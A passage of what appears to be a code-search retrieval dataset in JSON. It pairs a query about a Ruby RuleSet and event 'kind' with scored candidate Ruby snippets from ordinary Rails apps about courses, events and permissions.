"text": "def inspect\n \"#<#{self.class.name} sections=#{sections.inspect}>\"\n end",
"title": ""
},
{
"docid": "53f1b756f4aba73cfa037f8a70bebfc6",
"score": "0.5380978",
"text": "def to_hash\n hash = {\n \"course_id\" => course_id,\n \"edition_id\" => edition_id }\n end",
"title": ""
},
{
"docid": "68eeb8ab3ab6998d444937193ea8800f",
"score": "0.538046",
"text": "def key_data\n @key_data ||= { :semester_id => current_semester_id, :campus_id => default_campus_id }\n end",
"title": ""
},
{
"docid": "488ece957f697159afb4f80d4bac4b4b",
"score": "0.5378096",
"text": "def hash\n [principals, relation].hash\n end",
"title": ""
},
{
"docid": "0888061bd3a2ecdf0d1a4fd2ddb8cd4c",
"score": "0.5377997",
"text": "def show\n @course = Course.find(params[:id])\n @sections = Section.where(course: @course.course_id)\n @term = Term.find_by(term_id: @course.term)\n course_reqs = CourseRequirement.where(course_id: @course.course_id)\n course_reqs = course_reqs.map {|req| req[:requirement]}\n @course_uni_reqs = course_reqs.join(\" \")\n @professors = {}\n @days = {}\n @times = {}\n @sections.each do |section|\n instructor_id = SectionInstructor.find_by(section_id: section.section_id).instructor_id\n instructor = Instructor.find_by(instructor_id: instructor_id)\n @professors[section.section] = instructor.first+\" \"+instructor.last\n if !SectionTime.find_by(section_id: section.section_id, section_type: [\"Lecture\", \"section\", nil]).nil?\n days_list = SectionTime.find_by(section_id: section.section_id, section_type: [\"Lecture\", nil]).days\n @days[section.section] = days_list_convert(days_list)\n start_time = SectionTime.find_by(section_id: section.section_id, section_type: [\"Lecture\", \"section\", nil]).start\n end_time = SectionTime.find_by(section_id: section.section_id, section_type: [\"Lecture\", \"section\", nil]).end\n @times[section.section] = [convert_time(start_time), convert_time(end_time)]\n end\n end\n end",
"title": ""
},
{
"docid": "a436ce41d3d5268a55ec1c181a8a834b",
"score": "0.5369493",
"text": "def to_hash\n @summaries\n end",
"title": ""
},
{
"docid": "29e16bf2ca190f97b301532f44b6ee2b",
"score": "0.5368138",
"text": "def to_h\n {\n 'associates' => @associates.map(&:id).sort,\n 'location' => @location,\n 'members' => @members.map(&:id).sort,\n }\n end",
"title": ""
},
{
"docid": "163ff6f283620520f90efeba445fdad9",
"score": "0.53676784",
"text": "def mark_columns(section)\n\t\th = Hash.new\n\t\tsection.sec_sub_maps.each do |map|\n\t\t\tname =Subject.find(map.subject_id).name\n\t\t\tmark_col = \"sub#{map.mark_column}\"\n\t\t\th[name] = mark_col\n\t\tend\n\t\treturn h\n\tend",
"title": ""
},
{
"docid": "5af1611d1b434c420f047fddad3367b9",
"score": "0.5354656",
"text": "def sections\n temp_sections = []\n if @section_ids.count > 0\n @section_ids.each do |section_id|\n temp_sections.push @client.section(@org_id, section_id)\n end\n end\n return temp_sections\n end",
"title": ""
},
{
"docid": "a86a52845e450c618d17c8c884f5150f",
"score": "0.5349655",
"text": "def sections=(value)\n @sections = value\n end",
"title": ""
},
{
"docid": "28bf349e4da3df8e9a24da078a8fd896",
"score": "0.5346734",
"text": "def total_siblings \n instructors_hash.sum do |instructors_hash|\n instructors_hash[:siblings]\n end \nend",
"title": ""
},
{
"docid": "de663631ce1821544c788aa532a8dc75",
"score": "0.53462267",
"text": "def initializeStudent()\n\n\ttemp = Hash.new\n\t\n\t@homeworks.each do |hw, hw1|\n\t\ttemp[hw.to_s] = 0\n\tend\n\t\n\t@flog.each do |g, g1|\n\t\ttemp[g1.to_s] = 0\n\tend\n\t\n\t@flay.each do |y, y1|\n\t\ttemp[y1.to_s] = 0\n\tend\n\t\n\treturn temp\n\nend",
"title": ""
},
{
"docid": "275cc5aa2dd63b71f964d00bd503fc49",
"score": "0.5339442",
"text": "def section_properties; end",
"title": ""
},
{
"docid": "8a6755ea5f2675421e579cb3af317ac0",
"score": "0.5338958",
"text": "def sped_data(student)\n {\n sped_level: sped_level(student),\n sped_tooltip_message: sped_tooltip_message(student),\n sped_bubble_class: sped_bubble_class(student)\n }\n end",
"title": ""
},
{
"docid": "f8307517701dfaf700adbb70c1371d9a",
"score": "0.5337177",
"text": "def prepShowAssignment\n showHash = Hash.new()\n showHash[:assignment] = self\n showHash[:students] = Student.where(\"course_id=?\",self.course_id)\n showHash[:assignmentsstudents] = AssignmentsStudents.where(\"assignment_id=?\",self.id)\n showHash\n end",
"title": ""
},
{
"docid": "91acee686aca6659d5b1cb761b2aeb23",
"score": "0.53333706",
"text": "def hash\n from_end.hash + to_end.hash + overlap.hash + reverse_overlap.to_s.hash\n end",
"title": ""
},
{
"docid": "7b80a5cd34b3ff10c045a4c7d8274bff",
"score": "0.53142154",
"text": "def output_hash; end",
"title": ""
},
{
"docid": "1bf2b2009e1b6f838ed4506be573a26b",
"score": "0.531024",
"text": "def sections\n parsed {\n @sections\n }\n end",
"title": ""
},
{
"docid": "a14c0e61f86ec5be17e386cb5c3990e5",
"score": "0.5307455",
"text": "def hash\n [article_number, name, quantity, unit_price, discount_percent, vat_percent, unit, temporary_reference, row_number, merchant_data].hash\n end",
"title": ""
},
{
"docid": "14f12216484d8bc37e85d4a20acb4344",
"score": "0.53048825",
"text": "def read_and_hash\n $students = []\n file = File.open('grades.csv', 'r')\n files = file.readlines\n files = files.map(&:chomp)\n files = files.map { |line| line.split(/\\W+/) }\n file.close()\n files.each do |array|\n $students.push(name: array.shift, grades: array)\n end\nend",
"title": ""
},
{
"docid": "6e25551ec193c91f7068ada0913b2481",
"score": "0.5299778",
"text": "def hash\n [id, first_name, last_name, type, company, site, address_line1, address_line2, city, state, zip, country, relationship, department, inactive_flag, default_merge_contact_id, security_identifier, manager_contact_id, assistant_contact_id, title, school, nick_name, married_flag, children_flag, significant_other, portal_password, portal_security_level, disable_portal_login_flag, unsubscribe_flag, gender, birth_day, anniversary, presence, mobile_guid, facebook_url, twitter_url, linked_in_url, communication_items, _info, custom_fields].hash\n end",
"title": ""
},
{
"docid": "96e743c50d4297714e70d51ba4908d4b",
"score": "0.52939755",
"text": "def create_hash_class \n\t hash_class = {}\n\t @students_list.select do |student|\n\t\thash_class[student.name] = student.create_score_hash\n\t end\n\t puts \"Class's Hash: #{hash_class}\"\n\tend",
"title": ""
},
{
"docid": "75c12ef046c2b7a7312af0d06c90c217",
"score": "0.5292659",
"text": "def process_course(line,lookup)\n hash={}\n line.split(\",\").drop(1).each do |course_capacity|\n course,capacity = course_capacity.strip.split(\":\")\n hash[course] = capacity.to_i\n lookup << course # so the student line looks up the course\n end\n return hash\nend",
"title": ""
},
{
"docid": "923253a25abff15085fd56ae52a08f04",
"score": "0.52922374",
"text": "def lands_hash\n []\n end",
"title": ""
},
{
"docid": "e4f38ab3e3aaf923c7b6f6a985604b53",
"score": "0.52875596",
"text": "def displays_students(hash_to_display)\n hash_to_display.each do |key, value|\n puts \"#{key}: #{value} students\"\n end\nend",
"title": ""
},
{
"docid": "56f184da079de80dfc8fee0a963673e8",
"score": "0.5285978",
"text": "def section_list_for record\n tags_for_context_and_taggable(context: :sections, taggable: record)\n end",
"title": ""
},
{
"docid": "e92bda2f63269ce1fad9ea1fabe3abbb",
"score": "0.52841306",
"text": "def generate_hash\n @groups.flatten.inject([]) {|hash, stone| hash << stone.to_s}.sort.hash\n end",
"title": ""
},
{
"docid": "800f43f5576f29d496e78bbe924c6c9d",
"score": "0.52809477",
"text": "def reference_values_per_grade\n SECTIONS.product(PERIODS).map do |section, period|\n [\"#{section}_#{period}\".to_sym, classifier_to_metrics_per_grade(section, period)]\n end.to_h\n end",
"title": ""
},
{
"docid": "c3632a6f9ff74bd27856c4ed804cad2b",
"score": "0.52741146",
"text": "def get_sections (subdomain,course_id)\n token = get_token\n courses = get_all_pages(\n token,\n \"https://#{subdomain}.instructure.com/api/v1/courses/#{course_id}/sections\"\n )\n end",
"title": ""
},
{
"docid": "92dd8151bac88ac675fedee8f23f8fcc",
"score": "0.52734154",
"text": "def hash\n [anchor, cv, nullifier, proof, rk, spend_auth_sig].hash\n end",
"title": ""
},
{
"docid": "b6e16f876d3572bc829c4afc8b3a95cc",
"score": "0.5272806",
"text": "def sections\n @ini.keys\n end",
"title": ""
},
{
"docid": "b6e16f876d3572bc829c4afc8b3a95cc",
"score": "0.5272806",
"text": "def sections\n @ini.keys\n end",
"title": ""
}
] |
60d8dece01113a829fa10694f2d16f32
|
RuleSet needs to know `kind` to give a definitive answer on event permissions. At event grid or event form load time, kind isn't known, so some rules can't be applied until event submission. But many protocols don't involve kind, and for those we can use the RuleSet to show things about the RuleSet in the UI like the event form or the event grid. In those cases, we can use a sample Event object with nil kind.
|
[
{
"docid": "8141f8541f69b18b39597c5777a2acc2",
"score": "0.5817156",
"text": "def rule_set\n @rule_set ||= Rules::RuleSet.build_for(calendar: calendar, kind: kind)\n end",
"title": ""
}
] |
[
{
"docid": "61c622e90e7df0ee8759d6918d7660e0",
"score": "0.6282693",
"text": "def rules(rule_name:, kind:)\n Rules::RuleSet.build_for(calendar: calendar, kind: kind).rules_with_name(rule_name)\n end",
"title": ""
},
{
"docid": "f8e8a9d2b61118945f15a972619bdfd6",
"score": "0.5952483",
"text": "def kind!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 24 )\n\n type = KIND\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 158:8: 'kind'\n match( \"kind\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 24 )\n\n end",
"title": ""
},
{
"docid": "cab57c195d4c38b65eff62f6280e2382",
"score": "0.56592584",
"text": "def kind=(kind)\n validator = EnumAttributeValidator.new('String', [\"UNKNOWN\", \"USER_CREATED\", \"INTERNAL\"])\n unless validator.valid?(kind)\n fail ArgumentError, \"invalid value for \\\"kind\\\", must be one of #{validator.allowable_values}.\"\n end\n @kind = kind\n end",
"title": ""
},
{
"docid": "c9f06c2e219701a80c605b17b1c2e167",
"score": "0.5590679",
"text": "def bad_events(kind)\n failures = events(type: \"Warning\")\n ignored =\n @resource.dig(:metadata, :annotations, :\"samson/ignore_events\").to_s.split(\",\") +\n (IGNORED_EVENT_REASONS[kind.to_sym] || [])\n failures.reject! { |e| ignored.include? e[:reason] } if ignored.any?\n failures\n end",
"title": ""
},
{
"docid": "82d452ae2a491c9d81222ac155278eed",
"score": "0.55617887",
"text": "def kind=(kind)\n unless kind\n raise Occi::Core::Errors::InstanceValidationError,\n 'Missing valid kind'\n end\n\n @kind = kind\n reset_attributes!\n\n kind\n end",
"title": ""
},
{
"docid": "44639fd7ae046c494b2969f69be4b966",
"score": "0.5550468",
"text": "def set_kind(kind)\n\t\tend",
"title": ""
},
{
"docid": "f45a75183cb951f42a98d3f26f6cf287",
"score": "0.5332629",
"text": "def kind=(value)\n @kind = value\n end",
"title": ""
},
{
"docid": "f45a75183cb951f42a98d3f26f6cf287",
"score": "0.5332629",
"text": "def kind=(value)\n @kind = value\n end",
"title": ""
},
{
"docid": "ed1b6332e17fffe71947e89883a6cb0a",
"score": "0.53106874",
"text": "def rules(event)\n @rules[event]\n end",
"title": ""
},
{
"docid": "e3c6d4806c17424b6362ac9d62e0b322",
"score": "0.52906203",
"text": "def valid_kind(aKind)\n AnchorToSymbol[aKind]\n end",
"title": ""
},
{
"docid": "08c84113bb53b20da9443ac72fbb64b9",
"score": "0.5246522",
"text": "def get_rule(scope, kind, id)\n make_request(:get, \"/pushrules/#{scope}/#{kind}/#{id}\").parsed_response\n end",
"title": ""
},
{
"docid": "e3c8785c031ed404c6cbbdc4619b83b2",
"score": "0.5236354",
"text": "def datastore_kind=(datastore_kind)\n validator = EnumAttributeValidator.new('String', [\"UNKNOWN\", \"USER_CREATED\", \"INTERNAL\"])\n unless validator.valid?(datastore_kind)\n fail ArgumentError, \"invalid value for \\\"datastore_kind\\\", must be one of #{validator.allowable_values}.\"\n end\n @datastore_kind = datastore_kind\n end",
"title": ""
},
{
"docid": "4e9d29b6fbd666bfa5ddaa5f3e29aed6",
"score": "0.52279836",
"text": "def edges_for(event, kind = nil)\n rel = edges_between(event.started_at, event.ended_at)\n if kind\n rel = rel.where(kind: kind)\n end\n rel\n end",
"title": ""
},
{
"docid": "8a8a470ae542d673e138f7328058a80b",
"score": "0.5193077",
"text": "def kind\n # returns nil, overridden and returning :question, :problem, etc. in sublcass\n end",
"title": ""
},
{
"docid": "0efbd4fa8ab116b7d220bb794089c9c8",
"score": "0.5103893",
"text": "def rule?\n kind == :rule\n end",
"title": ""
},
{
"docid": "94edebb3c51ee4cb1d36ccd58d53848f",
"score": "0.5004948",
"text": "def kind\n super&.inquiry\n end",
"title": ""
},
{
"docid": "d892da42ccbc943b9cc773cb14849d9e",
"score": "0.49689233",
"text": "def schema_for_kind(kind)\n api_name, schema_name = kind.split('#', 2)\n if api_name != self.name\n raise ArgumentError,\n \"The kind does not match this API. \" +\n \"Expected '#{self.name}', got '#{api_name}'.\"\n end\n for k, v in self.schemas\n return v if k.downcase == schema_name.downcase\n end\n return nil\n end",
"title": ""
},
{
"docid": "5e874e770a9b3a7dfda1f23542106ebf",
"score": "0.49372387",
"text": "def message\n \"#{event.kind}\"\n end",
"title": ""
},
{
"docid": "f59694b0b11b779d01dc681fac0cafde",
"score": "0.490681",
"text": "def find_by_kind(kind)\n raise ArgumentError, 'Kind is a mandatory argument' unless kind\n filtered_set(entities, key: 'kind', value: kind)\n end",
"title": ""
},
{
"docid": "bad975cda7f55986d19f80d5b8f47514",
"score": "0.48802006",
"text": "def set_kind\n @kind = Kind.find(params[:id])\n end",
"title": ""
},
{
"docid": "b412385e684b7e1c18deb2fd089e5e13",
"score": "0.48593745",
"text": "def kind\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5e4819e2ef8b5c0d7fd3911ed4146c27",
"score": "0.48591352",
"text": "def kind(kinds)\n self.reject { |t, r| !kinds.include?(r.kind) }\n end",
"title": ""
},
{
"docid": "9544fbd843623315e3457eb5c8dcec32",
"score": "0.48338118",
"text": "def set_event_rule\n @event_rule = EventRule.find(params[:id])\n end",
"title": ""
},
{
"docid": "5b66a3e6bec1a106c8f830f05c15ad51",
"score": "0.48330304",
"text": "def delete_rule(scope, kind, id)\n make_request(:delete, \"/pushrules/#{scope}/#{kind}/#{id}\").code == 200\n end",
"title": ""
},
{
"docid": "17a4a106da2be6d2e13a5951cc731421",
"score": "0.4825925",
"text": "def event_type=(event_type)\n validator = EnumAttributeValidator.new('String', [\"api_key.create\", \"acl.create\", \"acl.delete\", \"acl.update\", \"address.create\", \"address.delete\", \"address.update\", \"backend.create\", \"backend.delete\", \"backend.update\", \"billing.contact_update\", \"cache_settings.create\", \"cache_settings.delete\", \"cache_settings.update\", \"customer.create\", \"customer.pricing\", \"customer.update\", \"customer_feature.create\", \"customer_feature.delete\", \"director.create\", \"director.delete\", \"director.update\", \"director_backend.create\", \"director_backend.delete\", \"domain.create\", \"domain.delete\", \"domain.update\", \"gzip.create\", \"gzip.delete\", \"gzip.update\", \"header.create\", \"header.delete\", \"header.update\", \"healthcheck.create\", \"healthcheck.delete\", \"healthcheck.update\", \"invitation.accept\", \"invitation.sent\", \"invoice.failed_payment\", \"invoice.payment\", \"io_settings.create\", \"io_settings.delete\", \"io_settings.update\", \"logging.create\", \"logging.delete\", \"logging.update\", \"pool.create\", \"pool.delete\", \"pool.update\", \"request_settings.create\", \"request_settings.delete\", \"request_settings.update\", \"response_object.create\", \"response_object.delete\", \"response_object.update\", \"rule_status.update\", \"rule_status.upsert\", \"server.create\", \"server.delete\", \"server.update\", \"service.create\", \"service.delete\", \"service.move\", \"service.move_destination\", \"service.move_source\", \"service.purge_all\", \"service.update\", \"service_authorization.create\", \"service_authorization.delete\", \"service_authorization.update\", \"tls.bulk_certificate.create\", \"tls.bulk_certificate.delete\", \"tls.bulk_certificate.update\", \"tls.certificate.create\", \"tls.certificate.expiration_email\", \"tls.certificate.update\", \"tls.certificate.delete\", \"tls.configuration.update\", \"tls.private_key.create\", \"tls.private_key.delete\", \"tls.activation.enable\", \"tls.activation.update\", \"tls.activation.disable\", \"tls.globalsign.domain.create\", \"tls.globalsign.domain.verify\", \"tls.globalsign.domain.delete\", \"tls.subscription.create\", \"tls.subscription.delete\", \"tls.subscription.dns_check_email\", \"token.create\", \"token.destroy\", \"two_factor_auth.disable\", \"two_factor_auth.enable\", \"user.create\", \"user.destroy\", \"user.lock\", \"user.login\", \"user.login_failure\", \"user.logout\", \"user.password_update\", \"user.unlock\", \"user.update\", \"vcl.create\", \"vcl.delete\", \"vcl.update\", \"version.activate\", \"version.clone\", \"version.copy\", \"version.copy_destination\", \"version.copy_source\", \"version.create\", \"version.deactivate\", \"version.lock\", \"version.update\", \"waf.configuration_set_update\", \"waf.create\", \"waf.delete\", \"waf.update\", \"waf.enable\", \"waf.disable\", \"waf.owasp.create\", \"waf.owasp.update\", \"waf.ruleset.deploy\", \"waf.ruleset.deploy_failure\", \"wordpress.create\", \"wordpress.delete\", \"wordpress.update\"])\n unless validator.valid?(event_type)\n fail ArgumentError, \"invalid value for \\\"event_type\\\", must be one of #{validator.allowable_values}.\"\n end\n @event_type = event_type\n end",
"title": ""
},
{
"docid": "888e32076c34ce521f0ea9c3a2e50779",
"score": "0.4822788",
"text": "def kind\n return @kind\n end",
"title": ""
},
{
"docid": "888e32076c34ce521f0ea9c3a2e50779",
"score": "0.4822788",
"text": "def kind\n return @kind\n end",
"title": ""
},
{
"docid": "a0e8cd4ebceb04503dfa3ac209500219",
"score": "0.4818445",
"text": "def object_class_from_kind(kind)\n case kind\n when 't1'\n RedditKit::Comment\n when 't2'\n RedditKit::User\n when 't3'\n RedditKit::Link\n when 't4'\n RedditKit::PrivateMessage\n when 't5'\n RedditKit::Subreddit\n when 'LabeledMulti'\n RedditKit::Multireddit\n when 'LabeledMultiDescription'\n RedditKit::MultiredditDescription\n when 'modaction'\n RedditKit::ModeratorAction\n end\n end",
"title": ""
},
{
"docid": "df7a5d3c11b29e2fb1d7de9992dee28f",
"score": "0.48104054",
"text": "def kind; end",
"title": ""
},
{
"docid": "df7a5d3c11b29e2fb1d7de9992dee28f",
"score": "0.48104054",
"text": "def kind; end",
"title": ""
},
{
"docid": "df7a5d3c11b29e2fb1d7de9992dee28f",
"score": "0.48104054",
"text": "def kind; end",
"title": ""
},
{
"docid": "df7a5d3c11b29e2fb1d7de9992dee28f",
"score": "0.48104054",
"text": "def kind; end",
"title": ""
},
{
"docid": "df7a5d3c11b29e2fb1d7de9992dee28f",
"score": "0.48104054",
"text": "def kind; end",
"title": ""
},
{
"docid": "df7a5d3c11b29e2fb1d7de9992dee28f",
"score": "0.48104054",
"text": "def kind; end",
"title": ""
},
{
"docid": "43cd78d5fc1902ae2549b8f9b3854a1d",
"score": "0.47801512",
"text": "def kind=(value)\n write_attribute(:kind, KINDS.index(value))\n end",
"title": ""
},
{
"docid": "adbdb89d7a31d95747fa7c268c59d84d",
"score": "0.4773856",
"text": "def kind\n data['kind']\n end",
"title": ""
},
{
"docid": "aa5e4c0426902ec305d12794546093f4",
"score": "0.47640985",
"text": "def event_params\n params.require(:event).permit(:kind, :source_id, :target, :target_id, :data)\n end",
"title": ""
},
{
"docid": "cdc8a0be871c9765f45111dde1664b01",
"score": "0.47468334",
"text": "def kind\n self.class.kind\n end",
"title": ""
},
{
"docid": "49372bcd844fb40f8b4183a9dc03f481",
"score": "0.47374663",
"text": "def resourceType\n 'AuditEvent'\n end",
"title": ""
},
{
"docid": "48ca1ef1aec389c3b1563bd60a6d44fc",
"score": "0.47199595",
"text": "def event_type\n :ask_posted\n end",
"title": ""
},
{
"docid": "c705ada3e34e88797dd439db09e99f65",
"score": "0.4718737",
"text": "def get_kind\n\t\tend",
"title": ""
},
{
"docid": "bd97217d6fb24d57023971607c0060ba",
"score": "0.47042507",
"text": "def rel?(kind); end",
"title": ""
},
{
"docid": "36af67eeedc38d319e3ccbdae6f5a640",
"score": "0.4701478",
"text": "def event_requirement; end",
"title": ""
},
{
"docid": "c887ab87e3d2a0d941be545b63bf4ee7",
"score": "0.4682638",
"text": "def allow!(kind, name, attributes = {})\n allow(kind, name, attributes).save\n end",
"title": ""
},
{
"docid": "3a88729dbe8b7d0c82c4b48c7a8f42f9",
"score": "0.46769306",
"text": "def method_for_kind!(kind)\n method = nil\n if !@method_override.nil?\n method = @method_override\n elsif kind == Springcm::Folder\n method = :folders\n elsif kind == Springcm::Document\n method = :documents\n elsif kind == Springcm::AttributeGroup\n method = :attribute_groups\n elsif kind == Springcm::HistoryItem\n method = :history\n elsif kind == Springcm::Group\n method = :groups\n elsif kind == Springcm::User\n method = :users\n else\n raise ArgumentError.new(\"Resource kind must be one of: Springcm::Document, Springcm::Folder, Springcm::AttributeGroup, Springcm::HistoryItem, Springcm::User, Springcm::Group.\")\n end\n return method\n end",
"title": ""
},
{
"docid": "83f4519a1f49fbd577566331d9ca0522",
"score": "0.46641517",
"text": "def handle_event( event )\n logger.debug \"Got Event #{event.inspect}\"\n evt = Rhouse::EventParser.parse( event )\n Rhouse.logger.debug \"Parsed event #{evt.inspect}\" \n event_type = MyRhouse::Events::EventTypeFactory.create_event( evt )\n\n # fire up rule engine\n engine.evaluate( event_type ) \n end",
"title": ""
},
{
"docid": "36086804ea6e6f831e78cd4524ea5fc3",
"score": "0.4655611",
"text": "def exclude_kind!(kind)\n if queries = QUERIES[kind]\n self.exclude_kind ||= []\n self.exclude_kind += queries\n else\n raise DbAgile::Error, \"Unrecognized object kind #{kind}\"\n end\n end",
"title": ""
},
{
"docid": "ab4bbe4bdc2da439da4f2f8c53b984e9",
"score": "0.4651943",
"text": "def event_rule_params\n params.require(:event_rule)\n .permit(:position, :action, :severity, :valid_until, :description,\n filter: EventRule::FILTER_ATTRIBUTES)\n end",
"title": ""
},
{
"docid": "c5ad2412cb6b4ccb1f3112bfbe69d719",
"score": "0.46484601",
"text": "def interprete_submission event\n case event.utd\n when \"Ci\"\n interprete_submission_control_input event\n when \"Co\"\n interprete_submission_control_output event\n when \"Bi\"\n interprete_submission_bulk_input event\n when \"Bo\"\n interprete_submission_bulk_output event\n when \"Zi\", \"Zo\", \"Ii\", \"Io\"\n STDERR.puts \"*** Unhandled submission utd #{event.utd}\"\n else\n raise \"Unknown event type #{event.type.inspect}\"\n end\n end",
"title": ""
},
{
"docid": "c704a5392a1bb50119ad5b791b29b947",
"score": "0.46197167",
"text": "def kind\n self.class.kind\n end",
"title": ""
},
{
"docid": "c704a5392a1bb50119ad5b791b29b947",
"score": "0.46197167",
"text": "def kind\n self.class.kind\n end",
"title": ""
},
{
"docid": "c704a5392a1bb50119ad5b791b29b947",
"score": "0.46197167",
"text": "def kind\n self.class.kind\n end",
"title": ""
},
{
"docid": "04810c739567ec0a7d20a99a1ff3d630",
"score": "0.45997146",
"text": "def event\n resource.event :name => event_name, :desired_value => should, :property => self, :source_description => path\n end",
"title": ""
},
{
"docid": "a6ef35394870e8c2f179d8520504756c",
"score": "0.45730308",
"text": "def kind\n attributes.fetch(:kind)\n end",
"title": ""
},
{
"docid": "a6ef35394870e8c2f179d8520504756c",
"score": "0.45730308",
"text": "def kind\n attributes.fetch(:kind)\n end",
"title": ""
},
{
"docid": "a6ef35394870e8c2f179d8520504756c",
"score": "0.45730308",
"text": "def kind\n attributes.fetch(:kind)\n end",
"title": ""
},
{
"docid": "a6ef35394870e8c2f179d8520504756c",
"score": "0.45730308",
"text": "def kind\n attributes.fetch(:kind)\n end",
"title": ""
},
{
"docid": "a6ef35394870e8c2f179d8520504756c",
"score": "0.45730308",
"text": "def kind\n attributes.fetch(:kind)\n end",
"title": ""
},
{
"docid": "a6ef35394870e8c2f179d8520504756c",
"score": "0.45730308",
"text": "def kind\n attributes.fetch(:kind)\n end",
"title": ""
},
{
"docid": "b493cb1bc3dba3d33de7f43bbb095271",
"score": "0.45505854",
"text": "def kind\n self.name.underscore.to_sym\n end",
"title": ""
},
{
"docid": "b493cb1bc3dba3d33de7f43bbb095271",
"score": "0.45505854",
"text": "def kind\n self.name.underscore.to_sym\n end",
"title": ""
},
{
"docid": "deff81ee0b3b81b61e2f6ad7a5730507",
"score": "0.45281577",
"text": "def record_event(type, target_obj)\n event_type_id = case type\n when :ask then 1\n when :answer then 2\n when :comment then 3\n when :compose then 4\n when :vote then 5\n when :downvote then 6\n when :watch then 7\n when :unwatch then 8\n when :follow then 9\n when :unfollow then 10\n when :update then 11\n when :accept then 12\n else 0\n end\n\n target_type_id = case\n when target_obj.is_a?(Question) then 1\n when target_obj.is_a?(Answer) then 2\n when target_obj.is_a?(Comment) then 3\n when target_obj.is_a?(Article) then 4\n when target_obj.is_a?(User) then 5 # update profile without param 'obj'\n else 0\n end\n\n event = self.events.build(\n event_type: event_type_id,\n target_type: target_type_id,\n target_id: target_obj.id\n )\n\n if event.valid?\n event.save\n else\n raise \"event_recording_error\"\n end\n end",
"title": ""
},
{
"docid": "4c07bbc06ba6e6e6b4cb11729f97a959",
"score": "0.45235905",
"text": "def action\n RuleAspect.from_hash(description['Action'])\n end",
"title": ""
},
{
"docid": "8e58b9c9d09e699ebbe7c9a48e8b6a7e",
"score": "0.45113328",
"text": "def event_params\n params.require(:event).permit(:name, :message, :kind, :severity, :team_id, :metric)\n end",
"title": ""
},
{
"docid": "cfa18947ca1c7a119312d4e68231d632",
"score": "0.451016",
"text": "def kind\n type.to_s.underscore[5..-1]\n end",
"title": ""
},
{
"docid": "5bf29cfe09cc1948df0eabd407ffdbe9",
"score": "0.45040527",
"text": "def include_kind!(kind)\n if queries = QUERIES[kind]\n self.include_kind ||= []\n self.include_kind += queries\n else\n raise DbAgile::Error, \"Unrecognized object kind #{kind}\"\n end\n end",
"title": ""
},
{
"docid": "ff2dbf996e544173a9cd9c754198c02a",
"score": "0.44970477",
"text": "def kind_key\n Claim.kinds[self.kind]\n end",
"title": ""
},
{
"docid": "5d2cda2faf94f4f456ecfa036943332a",
"score": "0.44942343",
"text": "def kind\n @kind || :group\n end",
"title": ""
},
{
"docid": "c3886ee463cb716245080e71e326e865",
"score": "0.44899485",
"text": "def event_types; end",
"title": ""
},
{
"docid": "bfc7831e2cddeb6fc728d314b645121f",
"score": "0.44801208",
"text": "def relevant_events_scope\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "fdc20a1350edc74425f82981529aa4c0",
"score": "0.44745418",
"text": "def determine_event(group)\n case group\n when /_PregScreen_/\n PREGNANCY_SCREENER_EVENT\n when /Telephone/\n TELEPHONE_INTERVIEW_EVENT\n when /Text Message/\n TELEPHONE_INTERVIEW_EVENT\n when /Mail/\n MAILED_BACK_SAQ_EVENT\n when /_SAQ_/\n MAILED_BACK_SAQ_EVENT\n when /_HHEnum_/\n HOUSEHOLD_ENUMERATION_EVENT\n else\n GENERAL_STUDY_VISIT_EVENT\n end\n end",
"title": ""
},
{
"docid": "8d86551383ddfbb42d9e76461c68c189",
"score": "0.44742656",
"text": "def set_kind\n return unless new_record?\n self.kind = Kind.where(:name => 'Dynamic').first\n end",
"title": ""
},
{
"docid": "30c156d5dd4d8779467aae56cb20da8f",
"score": "0.44734105",
"text": "def edge kind, params\n send(\"edge_#{kind.downcase}\".to_sym, params)\n end",
"title": ""
},
{
"docid": "6101662c0b65acbf660c6c3b93d0516a",
"score": "0.44676235",
"text": "def new\n @event = Event.new\n authorize @event, :new?\n end",
"title": ""
},
{
"docid": "0b4a3a17f24d30dd4203ae565a406243",
"score": "0.44668758",
"text": "def kind?(kind)\n Vpim::Methods.casecmp?(self.kind == kind)\n end",
"title": ""
},
{
"docid": "96ebd1f9d85af370022d5c8da591b267",
"score": "0.44463304",
"text": "def klass\n Event\n end",
"title": ""
},
{
"docid": "414b9409cf564b0f1390e53982b85502",
"score": "0.44427884",
"text": "def kind_params\n params.require(:kind).permit(:description)\n end",
"title": ""
},
{
"docid": "0c0e72e4522b1e3891382de24eaaf107",
"score": "0.44290194",
"text": "def kind=(str)\n self.linkinfo ||= LinkInfo.new\n linkinfo.kind = str\n end",
"title": ""
},
{
"docid": "c3c6acf095c84ae29776c7aae783f3cc",
"score": "0.44273075",
"text": "def check_rule(rule)\n\n\t if rule.include? 'twitter_lang'\n\t\t rule = handle_lang_operators rule\n\t end\n\n\t if rule.include? 'has:lang'\n\t\t rule = handle_has_lang rule\n\t end\n\n\t if rule.include? '_contains:'\n\t\t rule = handle_contains_operators rule\n\t end\n\n\n\t if rule.include? 'country_code:'\n\t\t rule = handle_country_code_operators rule\n\t end\n\n\t rule\n\n end",
"title": ""
},
{
"docid": "04bb5908366727831cc351f4d9c161a7",
"score": "0.44188768",
"text": "def set_kind\n return unless new_record?\n self.kind = Kind.where(:name => 'Graphics').first\n end",
"title": ""
},
{
"docid": "04bb5908366727831cc351f4d9c161a7",
"score": "0.44188768",
"text": "def set_kind\n return unless new_record?\n self.kind = Kind.where(:name => 'Graphics').first\n end",
"title": ""
},
{
"docid": "49e97ba6ece875d124c11e847ee01c47",
"score": "0.441207",
"text": "def event_type\n metadata[:event_type] || self.class.name\n end",
"title": ""
},
{
"docid": "e867e58b4bfbfe74553280bf9676a311",
"score": "0.439696",
"text": "def graph(kind)\n res = orchio_get_graph(kind)\n (res.success?) ? res.results.map { |odoc| odoc.to_rails } : false\n end",
"title": ""
},
{
"docid": "ba17216aae2b1ce972951c9956167db5",
"score": "0.43809164",
"text": "def set_standardkind\n @standardkind = Standardkind.find(params[:id])\n end",
"title": ""
},
{
"docid": "2bde4f5f6f496bb1ddc8e869306bad8b",
"score": "0.4376193",
"text": "def all(kind)\n end",
"title": ""
},
{
"docid": "51a00bc62b5a66df75556162a57d890b",
"score": "0.43739682",
